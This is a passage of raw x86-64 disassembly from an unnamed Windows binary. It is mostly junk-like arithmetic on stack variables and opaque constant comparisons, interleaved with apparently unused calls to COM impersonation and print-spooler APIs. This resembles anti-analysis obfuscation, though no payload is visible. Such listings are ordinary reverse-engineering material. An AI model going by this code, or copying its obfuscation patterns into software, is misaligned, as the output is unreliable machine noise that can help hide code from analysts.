sub ecx, eax
mov rax, qword [rsp + 0x18cc0]
mov byte [rax], cl
mov eax, dword [rsp + 0x1cfb8]
add eax, 0xcc
mov dword [rsp + 0x1cfb8], eax
mov rax, qword [rsp + 0x1650]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1cd58]
add eax, ecx
mov word [rsp + 0x18b28], ax
movsx edx, byte [rsp + 0xc140]
mov rax, qword [rsp + 0x1f1c8]
movsx ecx, byte [rax]
mov eax, edx
sub eax, ecx
mov byte [rsp + 0x1be30], al
mov rax, qword [rsp + 0x6420]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd7f0]
sub rcx, rax
mov rax, qword [0x14015f9c8]
mov qword [rax], rcx
mov rcx, qword [rsp + 0x118c0]
mov rax, qword [rsp + 0x1b540]
mov rax, qword [rax]
mov rcx, qword [rcx]
sub rcx, rax
mov rax, qword [rsp + 0x4c20]
mov qword [rax], rcx
mov rax, qword [rsp + 0x21b8]
mov ecx, dword [rsp + 0x189b4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x16e60], eax
mov eax, dword [rsp + 0x154d0]
mov ecx, dword [rsp + 0x6e88]
and ecx, eax
mov rax, qword [rsp + 0x12028]
mov dword [rax], ecx
mov rcx, qword [rsp + 0x5618]
mov rax, qword [rsp + 0x19448]
mov rcx, qword [rcx]
or rcx, rax
mov rax, qword [rsp + 0x12d70]
mov qword [rax], rcx
movzx edx, byte [rsp + 0x1d4c0]
movzx eax, byte [rsp + 0x10e00]
movzx ecx, al
mov eax, edx
sar eax, cl
mov ecx, eax
mov rax, qword [rsp + 0xd3a8]
mov byte [rax], cl
movsx ecx, byte [rsp + 0xc140]
mov rax, qword [rsp + 0x1228]
movsx eax, byte [rax]
xor ecx, eax
mov rax, qword [rsp + 0x17808]
mov byte [rax], cl
movzx edx, word [rsp + 0x1cd58]
movzx eax, word [rsp + 0x112e0]
movzx ecx, al
mov eax, edx
shl eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x1650]
mov word [rax], cx
jmp 0x14001c784
mov rax, qword [rsp + 0xd3a8]
movzx ecx, byte [rax]
mov rax, qword [rsp + 0x18cc0]
movzx eax, byte [rax]
sub ecx, eax
mov rax, qword [rsp + 0x3020]
mov byte [rax], cl
mov rax, qword [rsp + 0x104a0]
movzx ecx, word [rax]
movzx eax, word [rsp + 0x3d10]
sub ecx, eax
mov rax, qword [0x14015e9e8]
mov word [rax], cx
mov rcx, qword [rsp + 0x14650]
mov rax, qword [rsp + 0xaf68]
mov rcx, qword [rcx]
and rcx, rax
mov rax, qword [rsp + 0x14650]
mov qword [rax], rcx
mov ecx, dword [rsp + 0x16e60]
mov eax, dword [rsp + 0x17460]
sub eax, ecx
mov dword [rsp + 0x189b4], eax
mov rax, qword [rsp + 0x12028]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x154d0]
add ecx, eax
mov rax, qword [rsp + 0x1a48]
mov dword [rax], ecx
mov rax, qword [0x1401601a8]
mov rcx, qword [rsp + 0x1cde0]
add rcx, rax
mov rax, qword [rsp + 0x12d70]
mov qword [rax], rcx
mov rax, qword [rsp + 0x100f8]
movsx edx, word [rax]
mov rax, qword [rsp + 0x19e88]
movsx ecx, word [rax]
mov eax, edx
sub eax, ecx
mov word [rsp + 0x3860], ax
mov rax, qword [rsp + 0x3020]
movzx ecx, byte [rax]
movzx eax, byte [rsp + 0x8ac1]
add ecx, eax
mov rax, qword [rsp + 0x18cc0]
mov byte [rax], cl
movsx edx, word [rsp + 0x6d38]
mov rax, qword [rsp + 0x19e88]
movsx ecx, word [rax]
mov eax, edx
add eax, ecx
mov word [rsp + 0x3860], ax
mov rax, qword [rsp + 0x17808]
movsx ecx, byte [rax]
movsx eax, byte [rsp + 0xc140]
add ecx, eax
mov rax, qword [rsp + 0x1228]
mov byte [rax], cl
mov rax, qword [rsp + 0x6420]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x12d70]
add rax, qword [rcx]
mov qword [0x1401601a8], rax
mov rax, qword [rsp + 0xb370]
mov ecx, dword [rsp + 0x6e88]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x154d0], eax
mov rcx, qword [0x14015f9c8]
mov rcx, qword [rcx]
mov rax, qword [rsp + 0x5618]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x19448], rax
mov rcx, qword [rsp + 0x1e6e8]
mov eax, dword [rsp + 0x16e60]
mov ecx, dword [rcx]
xor ecx, eax
mov rax, qword [rsp + 0x1a00]
mov dword [rax], ecx
mov rcx, qword [rsp + 0x4c20]
mov rcx, qword [rcx]
mov rax, qword [rsp + 0x118c0]
mov rax, qword [rax]
shl rax, cl
mov rcx, rax
mov rax, qword [rsp + 0x118c0]
mov qword [rax], rcx
movsx eax, word [rsp + 0x6d38]
movsx ecx, word [rsp + 0x3860]
and eax, ecx
mov word [rsp + 0xfd20], ax
mov rax, qword [rsp + 0x17808]
movsx edx, byte [rax]
mov rax, qword [rsp + 0x1228]
movsx ecx, byte [rax]
mov eax, edx
sub eax, ecx
mov byte [rsp + 0xc140], al
movzx eax, byte [rsp + 0x1d4c0]
movzx ecx, byte [rsp + 0xd6b9]
add eax, ecx
mov byte [rsp + 0x10e00], al
movzx ecx, word [rsp + 0x3d10]
movzx eax, word [rsp + 0x18b28]
and ecx, eax
mov rax, qword [rsp + 0x104a0]
mov word [rax], cx
mov rax, qword [rsp + 0xddc8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x18b28]
sub eax, ecx
mov word [0x14015d2cc], ax
mov rcx, qword [rsp + 0x5618]
mov rcx, qword [rcx]
add rcx, qword [rsp + 0x19448]
mov rax, qword [rsp + 0x6420]
mov qword [rax], rcx
mov eax, dword [rsp + 0x17460]
mov ecx, dword [rsp + 0x16e60]
add ecx, eax
mov rax, qword [rsp + 0x12a38]
mov dword [rax], ecx
mov ecx, dword [rsp + 0x154d0]
mov eax, dword [rsp + 0xf7cc]
sub eax, ecx
mov dword [rsp + 0x6e88], eax
mov rax, qword [rsp + 0x1b540]
mov rcx, qword [rsp + 0x14650]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x142e8], rax
mov rax, qword [rsp + 0x19e88]
movsx edx, word [rax]
movsx eax, word [0x14015d2c8]
movzx ecx, al
mov eax, edx
sar eax, cl
mov word [rsp + 0xfd20], ax
mov rax, qword [rsp + 0xd3a8]
movzx edx, byte [rax]
mov rax, qword [rsp + 0x3020]
movzx eax, byte [rax]
movzx ecx, al
mov eax, edx
shl eax, cl
mov byte [rsp + 0x1d4c0], al
movsx ecx, byte [rsp + 0x1be30]
mov rax, qword [rsp + 0x12150]
movsx eax, byte [rax]
or ecx, eax
mov rax, qword [rsp + 0x19658]
mov byte [rax], cl
mov rax, qword [rsp + 0x104a0]
movzx ecx, word [rax]
mov rax, qword [rsp + 0xddc8]
movzx eax, word [rax]
xor ecx, eax
mov rax, qword [rsp + 0x104a0]
mov word [rax], cx
movzx ecx, word [rsp + 0x1cd58]
mov rax, qword [rsp + 0x1650]
movzx eax, word [rax]
and ecx, eax
mov rax, qword [0x14015e9e8]
mov word [rax], cx
mov rcx, qword [rsp + 0x19448]
mov rax, qword [0x1401601a8]
add rax, rcx
mov qword [rsp + 0xb9d8], rax
mov rax, qword [rsp + 0x12028]
mov ecx, dword [rax]
add ecx, dword [rsp + 0x10b78]
mov rax, qword [rsp + 0x12028]
mov dword [rax], ecx
mov rcx, qword [rsp + 0x14650]
mov rcx, qword [rcx]
add rcx, qword [rsp + 0xaf68]
mov rax, qword [rsp + 0x118c0]
mov qword [rax], rcx
mov rax, qword [rsp + 0x1a00]
mov ecx, dword [rax]
mov eax, dword [rsp + 0x17460]
sub eax, ecx
mov dword [rsp + 0x16e60], eax
movsx eax, word [rsp + 0x3860]
movsx ecx, word [rsp + 0x11a90]
and eax, ecx
mov word [rsp + 0xfd20], ax
movsx ecx, byte [rsp + 0x19d58]
mov rax, qword [rsp + 0x1cd50]
movsx eax, byte [rax]
add ecx, eax
mov rax, qword [rsp + 0x1228]
mov byte [rax], cl
movzx ecx, word [rsp + 0x1cd58]
movzx eax, word [rsp + 0x3d10]
sub ecx, eax
mov rax, qword [rsp + 0x104a0]
mov word [rax], cx
movsx ecx, byte [rsp + 0x1be30]
mov rax, qword [rsp + 0x12150]
movsx eax, byte [rax]
sub ecx, eax
mov rax, qword [rsp + 0x1cd50]
mov byte [rax], cl
mov eax, dword [rsp + 0x16428]
sub eax, 0xd1
mov dword [rsp + 0x16428], eax
mov rcx, qword [rsp + 0x5618]
mov rax, qword [rsp + 0xd7f0]
mov rcx, qword [rcx]
sub rcx, rax
mov rax, qword [0x14015f9c8]
mov qword [rax], rcx
mov rcx, qword [rsp + 0x12d70]
mov rax, qword [0x14015f9c8]
mov rax, qword [rax]
mov rcx, qword [rcx]
xor rcx, rax
mov rax, qword [rsp + 0x6420]
mov qword [rax], rcx
mov rax, qword [rsp + 0x4c20]
mov rcx, qword [rsp + 0xaf68]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x142e8], rax
mov rax, qword [rsp + 0x1e6e8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x17460]
shl eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x12a38]
mov dword [rax], ecx
mov eax, dword [rsp + 0xf7cc]
movzx ecx, al
mov eax, dword [rsp + 0x154d0]
sar eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x12028]
mov dword [rax], ecx
movzx ecx, byte [rsp + 0x1d4c0]
movzx eax, byte [rsp + 0x8ac1]
and ecx, eax
mov rax, qword [rsp + 0x3020]
mov byte [rax], cl
mov rax, qword [rsp + 0x104a0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1cd58]
sub eax, ecx
mov word [rsp + 0x112e0], ax
movsx eax, word [rsp + 0x3860]
movsx ecx, word [rsp + 0xaa5c]
sub eax, ecx
mov word [rsp + 0xfd20], ax
mov rax, qword [rsp + 0x12150]
movsx ecx, byte [rax]
movsx eax, byte [rsp + 0xc140]
sub ecx, eax
mov rax, qword [rsp + 0x17808]
mov byte [rax], cl
cmp dword [rsp + 0x16428], 0x16d1
jae 0x14001c963
movzx edx, byte [rsp + 0x1d4c0]
mov rax, qword [rsp + 0x18cc0]
movzx ecx, byte [rax]
mov eax, edx
add eax, ecx
mov byte [rsp + 0x8ac1], al
mov rax, qword [rsp + 0x19448]
mov qword [rsp + 0x1e4b8], rax
mov rax, qword [rsp + 0x142e8]
mov rcx, qword [rsp + 0xaf68]
add rcx, rax
mov rax, qword [rsp + 0x118c0]
mov qword [rax], rcx
mov rax, qword [rsp + 0x1a00]
mov eax, dword [rax]
mov dword [rsp + 0xece4], eax
mov rdx, qword [rsp + 0xb370]
mov rax, qword [rsp + 0x1a48]
mov ecx, dword [rax]
mov eax, dword [rdx]
and eax, ecx
mov dword [rsp + 0xf7cc], eax
mov rdx, qword [rsp + 0x118c0]
mov rdx, qword [rdx]
add rdx, qword [rsp + 0x142e8]
mov rcx, qword [rsp + 0x4c20]
mov rcx, qword [rcx]
mov rax, qword [rsp + 0x1bea8]
add rax, rcx
cmp rdx, rax
jbe 0x14001cf9f
mov rax, qword [rsp + 0x1650]
movzx edx, word [rax]
movzx eax, word [rsp + 0x3d10]
movzx ecx, al
mov eax, edx
shl eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x104a0]
mov word [rax], cx
jmp 0x14001d20f
mov rax, qword [rsp + 0x1650]
movzx edx, word [rax]
movzx eax, word [rsp + 0x3d10]
sub edx, eax
mov rax, qword [rsp + 0x104a0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x18b28]
xor eax, ecx
cmp edx, eax
jne 0x14001d20f
mov rax, qword [rsp + 0x1ef10]
mov eax, dword [rax]
mov edx, dword [rsp + 0x3f80]
or edx, eax
mov rax, qword [rsp + 0x12a38]
mov ecx, dword [rax]
mov rax, qword [rsp + 0x1e6e8]
mov eax, dword [rax]
shr eax, cl
cmp edx, eax
jbe 0x14001d0e8
mov rax, qword [rsp + 0x104a0]
movzx eax, word [rax]
mov dword [rsp + 0x1fda0], eax
cmp dword [rsp + 0x1fda0], 0x8aa
je 0x14001d037
cmp dword [rsp + 0x1fda0], 0x9a4
je 0x14001d0cc
jmp 0x14001d0e8
lea rax, [rsp + 0x137e0]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x2e08]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x1650]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x6fd8]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0xa284]
lea r8, [rsp + 0x131b0]
lea rdx, [rsp + 0x1be30]
lea rcx, [rsp + 0x12a38]
call qword [sym.imp.ole32.dll_CoQueryProxyBlanket]
mov dword [rsp + 0x1bc0], eax
movzx ecx, byte [rsp + 0x10e00]
movzx eax, byte [rsp + 0x8ac1]
and ecx, eax
mov rax, qword [rsp + 0xd3a8]
mov byte [rax], cl
mov edx, dword [rsp + 0x154d0]
mov rax, qword [rsp + 0xb370]
mov ecx, dword [rax]
call fcn.140012900
jmp 0x14001d0e8
mov rax, qword [rsp + 0x17808]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x19d58]
add eax, ecx
mov byte [rsp + 0xc140], al
mov rax, qword [rsp + 0xd3a8]
movzx edx, byte [rax]
mov rax, qword [rsp + 0x18cc0]
movzx eax, byte [rax]
add edx, eax
mov rax, qword [rsp + 0x3020]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xd6b9]
sub eax, ecx
cmp edx, eax
je 0x14001d1ce
call qword [sym.imp.ole32.dll_CoImpersonateClient]
mov dword [rsp + 0x1334], eax
mov eax, dword [rsp + 0x154d0]
mov dword [rsp + 0x1fda4], eax
cmp dword [rsp + 0x1fda4], 0x4d39a20
je 0x14001d1b2
cmp dword [rsp + 0x1fda4], 0x37bd73c6
je 0x14001d154
jmp 0x14001d1cc
movsx ecx, word [0x14015d2c8]
mov rax, qword [rsp + 0x6078]
movsx eax, word [rax]
sub ecx, eax
mov rax, qword [rsp + 0x100f8]
mov word [rax], cx
mov rax, qword [rsp + 0x18cc0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xd6b9]
and eax, ecx
mov byte [rsp + 0x8ac1], al
mov rcx, qword [rsp + 0x1b540]
mov rcx, qword [rcx]
mov rax, qword [rsp + 0x14650]
add rcx, qword [rax]
mov rax, qword [rsp + 0x4c20]
mov qword [rax], rcx
jmp 0x14001d1cc
mov ecx, dword [rsp + 0x10b78]
mov rax, qword [rsp + 0x1a48]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x154d0], eax
jmp 0x14001d20f
mov eax, dword [rsp + 0xf7cc]
mov edx, dword [rsp + 0x154d0]
sub edx, eax
mov rax, qword [rsp + 0x12028]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xb370]
add eax, dword [rcx]
cmp edx, eax
je 0x14001d20f
mov edx, 0xe1
mov rcx, qword [rsp + 0x69e8]
call sub.WINSPOOL.DRV_ScheduleJob
mov dword [rsp + 0x14028], eax
lea rax, [rsp + 0x1e4b8]
mov qword [rsp + 0x1a830], rax
mov rax, qword [rsp + 0xddc8]
movzx edi, word [rax]
mov rax, qword [rsp + 0x1650]
movzx eax, word [rax]
or edi, eax
mov rax, qword [rsp + 0x104a0]
movzx edx, word [rax]
mov rax, qword [0x14015e9e8]
movzx ecx, word [rax]
mov eax, edx
xor eax, ecx
cmp edi, eax
je 0x14001d33e
movsx eax, word [rsp + 0xaa5c]
mov dword [rsp + 0x1fda8], eax
cmp dword [rsp + 0x1fda8], 0x7fd4
je 0x14001d279
jmp 0x14001d321
mov eax, dword [rsp + 0x17460]
movzx ecx, al
mov eax, dword [rsp + 0x189b4]
shl eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x12a38]
mov dword [rax], ecx
movzx edx, byte [rsp + 0xd6b9]
mov rax, qword [rsp + 0x18cc0]
movzx ecx, byte [rax]
mov eax, edx
add eax, ecx
mov byte [rsp + 0x8ac1], al
mov rax, qword [rsp + 0x1cd50]
movsx ecx, byte [rax]
mov rax, qword [rsp + 0x1f1c8]
movsx eax, byte [rax]
and ecx, eax
mov rax, qword [rsp + 0x19658]
mov byte [rax], cl
lea r9, [rsp + 0xd3a8]
mov r8d, 0xf3
mov edx, 0x68
mov rcx, qword [rsp + 0x18880]
call sub.WINSPOOL.DRV_FindFirstPrinterChangeNotification
mov qword [rsp + 0x6fd8], rax
movzx edx, word [rsp + 0x3d10]
mov rax, qword [rsp + 0xddc8]
movzx ecx, word [rax]
mov eax, edx
add eax, ecx
mov word [rsp + 0x18b28], ax
jmp 0x14001d33e
mov rax, qword [rsp + 0xbec0]
mov rcx, qword [rsp + 0x1cde0]
add rcx, rax
mov rax, qword [0x14015f9c8]
mov qword [rax], rcx
cmp dword [rsp + 0x16630], 0x10196
jae 0x14001d526
mov rax, qword [rsp + 0x19658]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x19d58]
sub eax, ecx
mov byte [rsp + 0xc140], al
mov rax, qword [rsp + 0x1a00]
mov ecx, dword [rsp + 0xece4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x17460], eax
mov rcx, qword [rsp + 0xaf68]
mov rax, qword [rsp + 0x1bea8]
sub rax, rcx
mov qword [rsp + 0x142e8], rax
mov rcx, qword [rsp + 0x5618]
mov rcx, qword [rcx]
mov rax, qword [rsp + 0x12d70]
add rcx, qword [rax]
mov rax, qword [rsp + 0x5618]
mov qword [rax], rcx
mov eax, dword [rsp + 0x16630]
add eax, 0x71
mov dword [rsp + 0x16630], eax
mov rax, qword [rsp + 0x12028]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xf7cc]
sub ecx, eax
mov rax, qword [rsp + 0xb370]
mov dword [rax], ecx
movzx edx, word [rsp + 0x112e0]
mov rax, qword [rsp + 0x104a0]
movzx ecx, word [rax]
mov eax, edx
and eax, ecx
mov word [rsp + 0x18b28], ax
mov rax, qword [rsp + 0xd3a8]
movzx edx, byte [rax]
movzx eax, byte [rsp + 0xb681]
movzx ecx, al
mov eax, edx
shl eax, cl
mov byte [rsp + 0x8ac1], al
movsx ecx, byte [rsp + 0x1be30]
mov rax, qword [rsp + 0x1f1c8]
movsx eax, byte [rax]
or ecx, eax
mov rax, qword [rsp + 0x17808]
mov byte [rax], cl
movsx edx, word [rsp + 0x6d38]
movsx eax, word [rsp + 0xaa5c]
movzx ecx, al
mov eax, edx
sar eax, cl
mov word [0x14015d2c8], ax
mov rax, qword [rsp + 0x104a0]
movzx ecx, word [rax]
mov rax, qword [0x14015e9e8]
movzx eax, word [rax]
xor ecx, eax
mov rax, qword [rsp + 0x1650]
mov word [rax], cx
mov rcx, qword [rsp + 0xaf68]
mov rax, qword [rsp + 0x1bea8]
sub rax, rcx
mov qword [rsp + 0x142e8], rax
mov rax, qword [rsp + 0xb370]
mov ecx, dword [rax]
mov rax, qword [rsp + 0x1a48]
add ecx, dword [rax]
mov rax, qword [rsp + 0x12028]
mov dword [rax], ecx
mov rdx, qword [rsp + 0x12a38]
mov rax, qword [rsp + 0x1ef10]
mov ecx, dword [rax]
mov eax, dword [rdx]
and eax, ecx
mov dword [rsp + 0x17460], eax
mov rax, qword [rsp + 0x6420]
mov rcx, qword [rsp + 0x1e4b8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xb9d8], rax
movzx ecx, byte [rsp + 0x1d4c0]
mov rax, qword [rsp + 0x3020]
movzx eax, byte [rax]
sub ecx, eax
mov rax, qword [rsp + 0xd3a8]
mov byte [rax], cl
jmp 0x14001d33e
movsx edx, word [rsp + 0x6d38]
mov rax, qword [rsp + 0x100f8]
movsx eax, word [rax]
add edx, eax
mov rax, qword [rsp + 0x6078]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xaa5c]
add eax, ecx
cmp edx, eax
jne 0x14001d76a
mov rax, qword [rsp + 0x6078]
movsx ecx, word [rax]
mov rax, qword [rsp + 0x100f8]
movsx eax, word [rax]
add ecx, eax
mov rax, qword [rsp + 0x19e88]
mov word [rax], cx
movsx edx, word [rsp + 0x3860]
mov rax, qword [rsp + 0x100f8]
movsx ecx, word [rax]
mov eax, edx
add eax, ecx
mov word [rsp + 0x6d38], ax
mov rax, qword [rsp + 0xaf68]
movzx ecx, al
mov rdx, qword [rsp + 0x142e8]
shr rdx, cl
mov rax, qword [rsp + 0x14650]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x1bea8]
shl rax, cl
cmp rdx, rax
jae 0x14001d718
mov rax, qword [rsp + 0x12d70]
mov rax, qword [rax]
mov qword [rsp + 0x1fdb0], rax
movabs rax, 0xc2859d4678c8aaa
cmp qword [rsp + 0x1fdb0], rax
je 0x14001d616
movabs rax, 0x59109d0ecad2547b
cmp qword [rsp + 0x1fdb0], rax
je 0x14001d6fc
jmp 0x14001d716
mov rdx, qword [rsp + 0x14650]
mov rax, qword [rsp + 0x1bea8]
mov rdx, qword [rdx]
and rdx, rax
mov rcx, qword [rsp + 0x1b540]
mov rcx, qword [rcx]
mov rax, qword [rsp + 0x142e8]
add rax, rcx
cmp rdx, rax
jbe 0x14001d6b4
lea r9, [rsp + 0xd6b9]
lea r8, [rsp + 0x12d70]
lea rdx, [rsp + 0xd940]
mov rcx, qword [rsp + 0xcfa0]
call sub.WINSPOOL.DRV_FindNextPrinterChangeNotification
mov dword [rsp + 0x16050], eax
mov rax, qword [rsp + 0x12d70]
mov rax, qword [rax]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x5618]
mov r9, qword [r9]
mov r8, qword [rsp + 0x12d70]
mov r8, qword [r8]
mov rax, qword [rsp + 0x6078]
movzx edx, word [rax]
mov rcx, qword [rsp + 0x1a830]
mov rcx, qword [rcx]
call fcn.140011920
mov rax, qword [rsp + 0x1f1c8]
movsx ecx, byte [rax]
movsx eax, byte [rsp + 0x19d58]
add ecx, eax
mov rax, qword [rsp + 0x17808]
mov byte [rax], cl
lea r9, [rsp + 0x12950]
xor r8d, r8d
lea rdx, [rsp + 0x3f80]
mov rcx, qword [rsp + 0x1048]
call sub.WINSPOOL.DRV_ReadPrinter
mov dword [rsp + 0x1b058], eax
jmp 0x14001d716
movsx eax, word [rsp + 0x6d38]
movsx ecx, word [rsp + 0xfd20]
and eax, ecx
mov word [rsp + 0x3860], ax
jmp 0x14001d765
movsx edi, byte [rsp + 0x19d58]
mov rax, qword [rsp + 0x1cd50]
movsx eax, byte [rax]
xor edi, eax
movsx edx, byte [rsp + 0x1be30]
mov rax, qword [rsp + 0x1f1c8]
movsx ecx, byte [rax]
mov eax, edx
or eax, ecx
cmp edi, eax
jge 0x14001d765
mov rax, qword [rsp + 0x21b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x16e60]
sub ecx, eax
mov rax, qword [rsp + 0x1ef10]
mov dword [rax], ecx
jmp 0x14001d865
mov rax, qword [rsp + 0x142e8]
mov qword [rsp + 0x1fdb8], rax
movabs rax, 0x236b9aba4b79b28f
cmp qword [rsp + 0x1fdb8], rax
je 0x14001d7a7
movabs rax, 0x7b3540f1d97e9c8d
cmp qword [rsp + 0x1fdb8], rax
je 0x14001d7c7
jmp 0x14001d84a
mov rdx, qword [rsp + 0x14650]
mov rdx, qword [rdx]
mov rcx, qword [rsp + 0x12d70]
mov rcx, qword [rcx]
call fcn.140148d70
jmp 0x14001d84a
lea r9, [rsp + 0x15970]
mov r8d, 0x5e
mov edx, 0x17
mov rcx, qword [rsp + 0xc670]
call sub.WINSPOOL.DRV_FindFirstPrinterChangeNotification
mov qword [rsp + 0x13198], rax
mov rax, qword [rsp + 0xb370]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6e88]
add ecx, eax
mov rax, qword [rsp + 0x12028]
mov dword [rax], ecx
mov rax, qword [rsp + 0x6420]
mov rax, qword [rax]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0xb9d8]
mov r8, qword [rsp + 0x1a830]
mov r8, qword [r8]
mov rax, qword [rsp + 0x100f8]
movzx edx, word [rax]
mov rcx, qword [rsp + 0x6420]
mov rcx, qword [rcx]
call fcn.140011920
mov rcx, qword [rsp + 0x142e8]
mov rax, qword [rsp + 0x1bea8]
sub rax, rcx
mov qword [rsp + 0xaf68], rax
mov rcx, qword [rsp + 0x5618]
mov rcx, qword [rcx]
mov rax, qword [rsp + 0x1e4b8]
sub rax, rcx
mov qword [rsp + 0x14080], rax
movzx ecx, word [rsp + 0x18b28]
movzx eax, word [0x14015d2cc]
sub ecx, eax
mov rax, qword [rsp + 0x104a0]
mov word [rax], cx
mov rax, qword [rsp + 0xd3a8]
movzx ecx, byte [rax]
mov rax, qword [rsp + 0x18cc0]
movzx eax, byte [rax]
xor ecx, eax
mov rax, qword [rsp + 0x3020]
mov byte [rax], cl
mov rcx, qword [rsp + 0x6420]
mov rcx, qword [rcx]
mov rax, qword [rsp + 0x12d70]
mov rax, qword [rax]
shl rax, cl
mov rcx, rax
mov rax, qword [0x14015f9c8]
mov qword [rax], rcx
movzx edx, word [rsp + 0x3d10]
movzx eax, word [rsp + 0x112e0]
movzx ecx, al
mov eax, edx
sar eax, cl
mov ecx, eax
mov rax, qword [rsp + 0xddc8]
mov word [rax], cx
movsx ecx, byte [rsp + 0xc140]
mov rax, qword [rsp + 0x12150]
movsx eax, byte [rax]
or ecx, eax
mov rax, qword [rsp + 0x1f1c8]
mov byte [rax], cl
movsx eax, word [rsp + 0xaa5c]
movsx ecx, word [rsp + 0x6d38]
and eax, ecx
mov word [rsp + 0x3860], ax
mov rcx, qword [rsp + 0x1ef10]
mov rax, qword [rsp + 0x21b8]
mov eax, dword [rax]
mov ecx, dword [rcx]
sub ecx, eax
mov rax, qword [rsp + 0x12a38]
mov dword [rax], ecx
mov rcx, qword [rsp + 0x118c0]
mov rcx, qword [rcx]
mov rax, qword [rsp + 0x14650]
add rcx, qword [rax]
mov rax, qword [rsp + 0x118c0]
mov qword [rax], rcx
mov rax, qword [rsp + 0x1a48]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xf7cc]
sub ecx, eax
mov rax, qword [rsp + 0x12028]
mov dword [rax], ecx
mov rax, qword [rsp + 0xb9d8]
mov rcx, qword [rsp + 0x19448]
add rcx, rax
mov rax, qword [rsp + 0x1a830]
mov qword [rax], rcx
mov rax, qword [rsp + 0xd3a8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1d4c0]
and eax, ecx
mov byte [rsp + 0x8ac1], al
mov rcx, qword [rsp + 0x1a830]
mov rax, qword [rsp + 0x5618]
mov rax, qword [rax]
mov rcx, qword [rcx]
sub rcx, rax
mov rax, qword [0x14015f9c8]
mov qword [rax], rcx
mov rax, qword [rsp + 0x104a0]
movzx edx, word [rax]
mov rax, qword [rsp + 0x1650]
movzx ecx, word [rax]
mov eax, edx
sub eax, ecx
mov word [rsp + 0x3d10], ax
movsx ecx, word [rsp + 0x3860]
mov rax, qword [rsp + 0x6078]
movsx eax, word [rax]
add ecx, eax
mov rax, qword [rsp + 0x100f8]
mov word [rax], cx
mov rax, qword [rsp + 0xddc8]
movzx edx, word [rax]
mov rax, qword [0x14015e9e8]
movzx ecx, word [rax]
mov eax, edx
add eax, ecx
mov word [rsp + 0x112e0], ax
mov rax, qword [rsp + 0x12028]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x10b78]
shl eax, cl
mov dword [rsp + 0xf7cc], eax
mov eax, dword [rsp + 0xece4]
mov ecx, dword [rsp + 0x3f80]
or ecx, eax
mov rax, qword [rsp + 0x12a38]
mov dword [rax], ecx
mov rcx, qword [rsp + 0x19448]
mov rax, qword [rsp + 0x1a830]
mov rax, qword [rax]
sar rax, cl
mov rcx, rax
mov rax, qword [rsp + 0x6420]
mov qword [rax], rcx
mov rcx, qword [rsp + 0x1b540]
mov rax, qword [rsp + 0x14650]
mov rax, qword [rax]
mov rcx, qword [rcx]
xor rcx, rax
mov rax, qword [rsp + 0x4c20]
mov qword [rax], rcx
mov eax, dword [rsp + 0x41ec]
add eax, 0x92
mov dword [rsp + 0x41ec], eax
movsx ecx, byte [rsp + 0xc140]
movsx eax, byte [rsp + 0x19d58]
and ecx, eax
mov rax, qword [rsp + 0x1cd50]
mov byte [rax], cl
movzx edx, word [rsp + 0x3d10]
mov rax, qword [rsp + 0x104a0]
movzx ecx, word [rax]
mov eax, edx
add eax, ecx
mov word [0x14015d2cc], ax
movsx eax, word [rsp + 0x11a90]
movsx ecx, word [rsp + 0x3860]
sub eax, ecx
mov word [rsp + 0xfd20], ax
mov rax, qword [rsp + 0x17808]
movsx ecx, byte [rax]
movsx eax, byte [rsp + 0xc140]
sub ecx, eax
mov rax, qword [rsp + 0x1228]
mov byte [rax], cl
mov rax, qword [rsp + 0x3020]
movzx ecx, byte [rax]
movzx eax, byte [rsp + 0x10e00]
add ecx, eax
mov rax, qword [rsp + 0xd3a8]
mov byte [rax], cl
mov rax, qword [rsp + 0x1b540]
mov rcx, qword [rsp + 0x118c0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x142e8], rax
mov ecx, dword [rsp + 0x17460]
mov eax, dword [rsp + 0x3f80]
and eax, ecx
mov dword [rsp + 0x16e60], eax
mov rax, qword [rsp + 0x1a830]
mov rax, qword [rax]
add rax, qword [rsp + 0x1cde0]
mov qword [rsp + 0xbec0], rax
mov rdx, qword [rsp + 0x1a48]
mov rax, qword [rsp + 0xb370]
mov ecx, dword [rax]
mov eax, dword [rdx]
sub eax, ecx
mov dword [rsp + 0x6e88], eax
mov rax, qword [rsp + 0x18cc0]
movzx edx, byte [rax]
